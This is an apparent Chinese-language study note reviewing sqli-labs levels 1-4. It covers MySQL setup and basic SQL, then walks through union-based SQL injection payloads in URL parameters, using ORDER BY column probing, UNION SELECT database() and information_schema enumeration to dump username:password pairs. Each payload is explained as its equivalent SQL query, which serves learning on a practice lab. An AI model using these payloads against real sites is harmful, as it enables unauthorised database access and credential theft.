sqli-labs复盘
_看了很多好的sqli-labs步骤,虽然讲解都不错,但是由于SQL数据库学习时囫囵吞枣,因此用MYSQL练习数据库的方式复盘sqli-labs的一些操作。_由于是为了复盘,不会涉及全部的SQL语句。
环境:ubantu,mysql。
安装
更新源
apt-get update
安装MySQL
sudo apt-get install mysql-server mysql-client
测试版本是否安装成功
mysql --version
运行mysql
mysql -uroot -p
启动mysql服务(以后做需要web服务时这个有用)
sudo start mysql
sudo stop mysql
基本操作
数据类型
增删改查
- create database test2;创建test2数据库
- create table table_name(column_name column_type);创建数据表格式
create table test_tabl(id int auto_increment, title varchar(10) not null, author varchar(10) not null, test_date date, PRIMARY KEY (id));
后面的KEY要加上,很有用。
- 插入数据,类似于
insert into test_tabl(title,author,test_date) values ("abc","ABC","2020-01-16");
,继续,多插入几行,便于后面使用。
到目前为止test_tabl数据表如上,这个数据表位于数据库test2。
drop database database_name
删除某个数据库,drop table table_name
删除数据表。DELECT from table_name where xxx
删除where限制下的数据,即使全部删除也仅删数据,表键值还在。select column_name from table_name
,select * from table_name
查询数据。
复盘开始
ORDER BY
order by函数是排序的用法,默认升序,DESC为降序,select * from table_name order by column_name ASC/DESC
,
?id=1' order by 3--+
在MYSQL实际上相当于
select * from 表名 where id="1" order by 3;
这里放在与id="1"
形成and的形式,如果均为1,结果是根据返回id="1"
的数据并根据第几列进行排序,超出列数不能返回输出。
union
将两个或多个SELECT语句合并,用法为
select column_name from table_name1
union
select column_name from table_name2
其中union all返回重复的值,
?id=' union select 1,database(),3--+
相当于
select * from 表名 where id="0" union select 1,database(),3;
前面的id若是正确,返回一行,而其只支持返回一行就会把需要的信息丢掉。而union则是起到了让后面的语句顶替前面数据位置的效果。
group_concat()
- select concat(str1,str2,…)起连接字符作用,如果存在一个参数为NULL返回值则为NULL。
- select concat_ws(separator,str1,str2,…)使用分隔符连接字符,如果字符存在NULL,依旧可以有返回值,当然分隔符不能为NULL。
- group_concat(column_name)为将某列数据打在一行。
?id=0' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema="security"
相当于
select * from 表名 where id="0" union select 1,2,group_concat(table_name) from information_schema.tables where table_schema="security"
group_concat将security的数据表以行的形式展示。
爆列名也类似。
?id=0' union select 1,2,group_concat(username,':',password) from security.users--+
相当于
select * from 表名 where id="0" union select 1,2,group_concat(username,':',password) from security.users
这是个分割线,上面为sqli-labs1-4关复盘内容